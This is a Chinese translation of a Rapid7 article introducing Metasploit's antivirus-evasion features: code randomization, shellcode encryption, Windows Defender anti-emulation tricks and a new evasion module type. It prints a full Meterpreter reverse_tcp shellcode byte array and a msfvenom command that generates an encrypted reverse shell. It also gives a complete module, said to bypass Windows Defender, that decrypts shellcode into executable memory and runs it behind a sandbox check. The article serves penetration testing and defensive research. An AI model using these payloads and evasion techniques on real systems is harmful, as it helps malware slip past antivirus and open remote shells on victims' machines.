原文:https://www.rapid7.com/info/encapsulating-antivirus-av-evasion-techniques-in-metasploit-framework

引言


一直以来,Rapid7的Metasploit团队都在致力于研究针对常规防病毒(AV)软件的免杀技术,以及将这些技术集成到Metasploit的方法,以使更多的安全社区可以提前了解这些技术,从而制定相应的防御措施。现在,这项研究的成果,即Metasploit框架的第一个“免杀模块”终于与大家见面了。

借助于新面世的免杀模块类型,Framework用户可以直接生成具有免杀效果的有效载荷,而无需安装外部的工具。与此同时,它还为开发人员提供了一个框架,使他们可以利用Metasploit的研究成果来创建自己的免杀模块。在本文中,我们不仅详细介绍了支撑Metasploit免杀功能的相关模块,同时,我们还给出了创建免杀模块的示例代码。

Metasploit是非常幸运的,因为它拥有一个充满激情、多元化的用户和贡献者社区,并且社区成员都乐于公开讨论和集体学习。之所以公布该项研究的详情,不仅是为了加强安全防御,同时,也是为了便于与构建、测试和研究AV和端点检测和响应软件的安全人员进行协作。

防病毒软件:第一道安全防线


从攻击者的角度来看,AV是他们在试图攻陷目标机器时面临的第一道防线。在过去,这道门槛相对较低,因为大多数AV产品都依赖于基于签名的检测技术,所以,攻击者可以轻松绕过它们。如今,除静态扫描之外,恶意行为识别技术是在多个层次上进行的,包括启发式、行为式和基于云的检测。随着检测技术的进步,攻击者变得更加难以得手,不过,这也容易让终端用户变得过于自信。

AV并非防御网络攻击的灵丹妙药,特别是在出现新漏洞时。只要给攻击者一个机会,他们就能成功拿下目标。

从工程角度来看,存在多种有效的AV免杀方法;我们的应用场景要求我们支持各种免杀技术,同时,还需要兼容经典的shellcode。为了实现这些目标,我们开发了一种全新的免杀模块类型,在其中封装了我们的免杀研究成果,并允许社区定义和实现自己的免杀技术。此外,我们还捆绑了一些新的库,将常规的AV免杀工具集成到了新的模块类型中,其中包括:

Metasploit C编译器


从技术上讲,Metasploit Framework的C编译器实际上就是Metasm的包装器,Metasm是一个Ruby库,可用于汇编、反汇编和编译C代码。目前,用于构建免杀shellcode的Metasploit基础架构仅能生成Windows可执行文件。当然,读者也可以通过修改Metasploit的源代码,来支持其他操作系统、体系结构和编译器后端,为此,可以参考Metasploit::Framework::Compiler::Windows 类。

我们之所以创建这个包装器,不仅是为了便于用户通过Metasm编写C代码来生成shellcode,同时,也更易于调用Windows API,就像在普通的C程序中一样。在此之前,要想使用Metasploit中的Windows API的话,开发人员必须从头开始定义函数、常量、结构等。为了简化开发过程,我们添加了对C预处理器#include语法的支持,以及Windows开发过程中经常用到的内置头文件,如String.h、Winsock2.h、stdio.h、Windows.h、stddef.h和stdlib.h,这些头文件位于data/headers/windows目录下面。

Metasploit的C编译器的实际库代码位于lib/metasploit/framework/compiler目录中。这个编译器的包装器的体系结构如下图所示:

使用这个编译器时,只需借助两个函数就可以构建一个可执行文件,它们分别是:

Metasploit::Framework::Compiler::Windows.compile_c(code)

和:

Metasploit::Framework::Compiler::Windows.compile_c_to_fle(fle_path, code)

默认情况下,该编译器将生成一个Windows PE文件(.exe)。此外,我们还可以通过传递 :dll选项来构建Windows DLL,具体如下例所示:

代码的随机化处理


随机化是一种混淆技术,它使可执行文件具有唯一性,这意味着很难(如果不是不可能的话)生成静态AV签名,同时,也会重挫用于分析恶意代码的反编译工具。使用Metasm时,我们能够在编译器级别对有效载荷进行随机化处理,因此,它带来的随机性,远非在静态程序集中简单地移动操作码所带来的随机性可比。此外,Metasm二进制文件的结构也不同于典型的Windows PE文件,这也是我们可以利用的一个优势。例如,常见的反编译工具IDA Pro无法在Metasm生成的PE文件中交叉引用字符串或函数。同时,导入表将显示为已经损坏,并且对于逆向工程师而言,其中的函数调用也是极其杂乱的。

Metasploit的CRandomizer类将通过模板系统来创建一些随机的C代码,随后将其注入到用户希望对其进行随机化处理的shellcode的周围。代码的随机程度被定义为0到100之间的一个值:这个值越大,添加的随机代码越多。只要具有足够高的随机程度,用户每次都可以生成一份独一无二的二进制代码。此外,在代码的测试期间,也可以禁用随机化处理。

Metasploit的CRandomizer由多个部分组成,分别是:Code Factory、Modifer、Parser和Utility类。

它们之间的关系如下图所示:

Code Factory类


Metasploit模块Code Factory中托管了一组随机代码存根,这些存根将用于注入到要进行随机化的目标源代码中。实际上,这些存根可以包含任意的C代码,例如条件语句、函数和Windows API调用。不过,由于这些存根往往很小,所以,大多数AV供应商都将其视为无害的。

如果这些存根需要使用本机API调用的话,可以使用@dep属性来声明相应的依赖关系。如果被混淆的源代码不支持某个所依赖的API调用,Code Factory会自动将其排除。之后,Code Factory将继续搜索,直到找到所有适合的存根为止。

以下示例代码演示了如何为Code Factory创建一个新的存根,其作用是输出一行文本:

在开发存根代码时,请避免下列行为,因为这些行为会增加被AV识别出来的风险,而不是降低相应的风险:

Modifer类


Modifer可以与Code Factory类一起使用,以确定注入代码存根的适当位置。它会逐行遍历原始代码,并根据用户指定的随机化参数求出相应的间隔,来添加代码存根。为了支持新的编程语言,可以创建新的Modifer类。

Parser类


Parser类使用Metasm的底层C解析器将用户提供的源代码转换为可解析的格式,然后将其传递给Modifer类进行相应的处理。

Utility类


Utility类为CRandomizer类提供了便于使用的API。由于CRandomizer可以与Metasm搭配使用来自动生成可执行文件,因此,开发人员只要调用下面的方法,就能创建出独一无二的二进制文件:

Metasploit::Framework::Compiler::Windows.compile_random_c

或者:

Metasploit::Framework::Compiler::Windows.compile_random_c_to_fle

Metasploit还提供了独立版本的编译器,具体位于tools/exploit/random_compile_c.rb。

加密功能


Shellcode的保护措施


众所周知,为了适应各种渗透测试场景,Metasploit提供了大量的有效载荷。然而,不仅编写高质量的有效载荷和shellcode是一项工程挑战,同时,对于有效载荷的保护也非常重要,这样它们就不会被轻易提取指纹了。如果读者想要了解Metasploit有效载荷是如何演变的,则需要考察其来源。

过去,Metasploit的有效载荷是利用与位置无关的汇编编写而成的shellcode。之所以如此设计,主要是为了实现有效载荷与漏洞利用代码之间的轻松配对。简而言之,漏洞利用代码的工作是设法让程序崩溃,将指令流重定向到包含shellcode的内存区域,最终执行注入的代码。这种环境所施加的限制使得有效载荷的开发变得困难重重。有时,某些漏洞利用场景只能为有效载荷提供非常狭小的内存空间,所以,与正常程序相比,这就要求有效载荷占用的内存必须非常少。而且,当我们修改Metasploit中的一段常规shellcode代码时,我们必须十分小心,否则就会破坏其他漏洞利用代码。因此,在安全研究人员间,Shellcode代码的开发工作,远不如漏洞利用代码和后续利用工具的开发那样受欢迎。这样一来,在漏洞利用代码工具包中,有效载荷通常就是更新频率最低的那部分,因此,我们无需考虑程序的行为,只需单独借助于shellcode,就能检测出相应的漏洞利用代码。

例如,我们可以用下面的程序为例进行说明,它只是嵌入了Metasploit的windows/meterpreter/reverse_tcp有效载荷,但并没有执行:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xac\x10\x0a\xc9" "\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; 

int main(void) { 
    return 0; 
    }

尽管这个程序并没有做出格的事情,它仍然被许多AV供应商标记为恶意软件。甚至某些防病毒软件直接将其标识为“Meterpreter”。(值得注意的是,除了Meterpreter之外,这个shellcode还可以承载许多其他有效载荷,因此从技术的角度上来说,这种分类方法是不恰当的)。

为了防止shellcode被轻而易举地从可执行文件中检出,最简单的方法就是进行编码或加密处理。其中,基于密钥的加密是最有效的解决方案,因为要想成功破解的话,需要很高的计算成本。目前,为了便于对有效载荷进行模糊处理,Metasploit框架提供了许多方法,包括AES256-CBC、RC4、XOR和Base64;当然,不同的处理方法,带来的免杀效果也是不同的:

要想启用加密功能,需要为msfvenom命令提供--encrypt标志,具体如下所示:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c

类似地,Metasploit也提供了获得相同效果的API:

Msf::Simple::Buffer.transform(payload.encoded, 'c', 'buf', format: 'rc4', key: rc4_key)

即使经过简单的编码处理,shellcode也会变得更加难以检测:

加密API也可以在Metasploit的新C环境中使用。例如,下面是一个处理RC4加密块的shellcode示例:

#include <rc4.h>
int main(void) {
    // Prepare the arguments
    RC4(RC4KEY, payload, (char*) lpBuf, PAYLOADSIZE);
    return 0;
}

处理Base64加密块的shellcode示例:

#include <base64.h>
int main() {
    // Prepare for arguments
    base64decode(lpBuf, BASE64STR, base64StrLen);
    return 0;
}

处理XOR加密块的shellcode示例:

#include <Windows.h>
#include <String.h>
#include <xor.h>
int main(int args, char** argv) {
    // prepare for arguments
    xor((char*) lpBuf, xorStr, xorKey, strlen(xorStr));
    return 0;
}

与Metasploit现有的加密和编码块相比,这些块的设计考虑到了传统的shellcode。但是,由于内置C编译器的功能非常强大,所以,就算是非常复杂的算法,比如AES算法,也可以轻松应用到shellcode中。

反仿真功能


在我们进行免杀研究的早期阶段,我们注意到,只有当以特定方式调用某些Windows API时才会触发Windows Defender,例如,检查IsDebuggerPresent.aspx "IsDebuggerPresent")的输出、通过VirtualAlloc.aspx "VirtualAlloc")或VirtualProtect.aspx "VirtualProtect")分配具有RWX权限的内存、使用CreateFile时,等等。我们怀疑Windows Defender会拦截这些API调用,并查找可疑行为,因此,我们考察了Windows Defender的mpengine.dll组件(执行该任务的核心引擎),并发现了一些有趣的结果

Windows Defender的仿真引擎非常容易搞到手,既可以在现代Windows系统上找到它,也可以直接从Microsoft的定义更新页面下载。值得高兴的是,Microsoft还为mpengine.dll提供了调试符号,所以,理解起来应该会方便得多了。

虽然Windows Defender的模拟器是一个非常复杂的分析引擎,但恶意软件作者仍然可以设法利用它来实现免杀。下面,我们将考察CreateProcessA API,分析引擎将利用mpengine.dll中的Mpengine!KERNEL32_DLL_CreateProcessA对其进行模拟。在IDA Pro中,相应的代码如下所示:

当我们检查这个反汇编后的函数的图形视图的第一个节点时,变量pe_set_return_值立即引起了我们的关注:

这个函数有两个参数,相应的伪代码如下所示:

pe_set_return_value(1, 0);

在pe_set_return_value中,第一个参数(ebp+arg_0)被传递给一个名为DTProcessor_32::setreg的函数:

上面的调用图基本上等价于下列代码:

// 0x32 is hex for 50 (in decimal) 
// 1 is our frst argument for pe_set_return_value 
setreg(0x32, 1);

在setreg函数中,有一个switch语句,它使用第一个参数作为其条件变量。因此,当值为0x32(十进制数为50)时,我们将抵达该代码块:

换句话说,CreateProcessA的返回值始终为1。根据该API的MSDN文档中的相关介绍:

返回值

如果函数成功,则返回值为非零值。

如果函数失败,则返回值为零。要获取更详细的错误信息,请调用GetLastError

请注意,该函数会在进程初始化之前返回。如果找不到所需的DLL或初始化失败,则终止该进程。要获取进程的终止状态,请调用GetExitCodeProcess

这意味着,如果我们故意使函数失败并检查返回值是否为0,我们应该能够被动地识别出代码是否位于沙箱之中。例如:

这只是其中的一个例子,实际上,相当多的API在mpengine.dll中的行为,与沙箱外的行为都存在差异,并且,我们只要使用其中一个这样的API,就足以搞清楚代码是否位于沙箱之中。为了防止攻击者检测出Windows Defender的仿真API,Windows Defender必须全面地模拟其Hook的Windows API的所有的行为,包括其中的"古怪"行为。

鉴于Windows Defender的市场份额巨大,并且是许多现代Windows机器的第一道防线,所以,安全社区自然不会放过它。例如,我们从Alexei Bulazel的一次演讲中(“Reverse Engineering Windows Defender’s Antivirus Emulator”),发现了许多与仿真器由关的梗,下面仅举几例:

免杀模块类型


为了将现有成果和未来的免杀研究成果结合到一个便于访问的格式中,我们为Metasploit框架添加了一个新的模块类型:“evasion”。这种新型模块将允许安全社区方便地创建和共享免杀技术,而无需调用msfvenom或msfconsole来生成初始有效载荷。相反,免杀技术可以直接集成到Metasploit框架中

免杀模块的功能类似于Metasploit中的文件格式漏洞利用,因为两者的输出都是文件。免杀模块的不同之处在于,它不会自动启动有效载荷处理程序,当然,它的目标(AV和其他检测工具)与文件格式漏洞利用(易受攻击的软件)的目标不同。这样的话,用户就能够以自己想要的风格或格式来生成代码,而无需定义漏洞利用模块所需的各种方法或元数据。

免杀模块类型与其他模块类型的级别是并列的,这些模块类型包括:辅助模块、编码器模块、漏洞利用模块、Nop模块、有效载荷模块和Post模块。下面的代码结合了上面解释的所有免杀技术,创建一个完整的模块,截至本文发布之日为止,该模块完全可以绕过Microsoft Windows Defender的检测:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Evasion
    def initialize(info={})
        super(merge_info(info,
            'Name' => 'Microsoft Windows Defender Evasive Executable',
            'Description' => %q{
                This module allows you to generate a Windows EXE that evades against Microsoft
                Windows Defender. Multiple techniques such as shellcode encryption, source code obfuscation, Metasm, and anti-emulation are used to achieve this.
                For best results, please try to use payloads that use a more secure channel such as HTTPS or RC4 in order to avoid the payload network traffc getting caught by antivirus better.
            },
            'Author' => [ 'sinn3r' ],
            'License' => MSF_LICENSE,
            'Platform' => 'win',
            'Arch' => ARCH_X86,
            'Targets' => [ ['Microsoft Windows', {}] ]
        ))
    end
def rc4_key
    @rc4_key ||= Rex::Text.rand_text_alpha(32..64)
end
def get_payload
    @c_payload ||= lambda {
        opts = { format: 'rc4', key: rc4_key }
        junk = Rex::Text.rand_text(10..1024)
        p = payload.encoded + junk

        return {
        size: p.length,
        c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)
        }
    }.call
end

def c_template
    @c_template ||= %Q|#include <Windows.h>
#include <rc4.h>
// The encrypted code allows us to get around static scanning
#{get_payload[:c_format]}

int main() {
    int lpBufSize = sizeof(int) * #{get_payload[:size]};
    LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT,| Rapid7.com Encapsulating Antivirus (AV) Evasion Techniques - 20
0x00000040);
    memset(lpBuf, '\\0', lpBufSize);
    HANDLE proc = OpenProcess(0x1F0FFF, false, 4);
    // Checking NULL allows us to get around Real-time protection
    if (proc == NULL) {
        RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]});
        void (*func)();
        func = (void (*)()) lpBuf;
        (void)(*func)();
    }

    return 0;
}|
    end
    def run
        vprint_line c_template
        # The randomized code allows us to generate a unique EXE
        bin = Metasploit::Framework::Compiler::Windows.compile_
        random_c(c_template)
        print_status("Compiled executable size: #{bin.length}")
        file_create(bin)
    end
end

当然,这里给出的这个示例,只是用来展示的。实际应用时,请务必检查Metasploit框架树中的最新代码,因为这些模块API会随着时间的推移而发生变化和改进。

结束语


我们在Metasploit中引入了多项支持AV免杀的新功能,其中包括代码随机化框架,新型的AV仿真检测代码,编码和加密例程,以及新型的免杀模块类型。在这些功能的帮助下,如今向Metasploit Framework添加免杀技术已经变得前所未有的简单。安全模块开发人员和渗透测试人员都能从中受益良多,这些新功能不仅可以帮助渗透测试人员构建突破用户部署的防御工具,还能帮助研究人员和开发人员改进和测试防御工具,同时,还能帮助IT专业人员能够更有效地了解不断涌现的各种攻击技术。

我们欢迎来自AV社区的讨论和合作,共同关注改进Metasploit中的逃避技术和AV软件中的防御措施。对于现有的Metasploit框架用户,可以从Github下载最新的主分支,或者下载最新的Metasploit 5综合开发包来访问这些新的免杀功能。

Metasploit是Rapid7与开源社区之间的合作成果。我们共同致力于为防御者提供世界级的安全内容,以提升大家理解、利用和共享漏洞的能力。要下载Metasploit,请访问metasploit.com网站。

源链接

Hacking more

...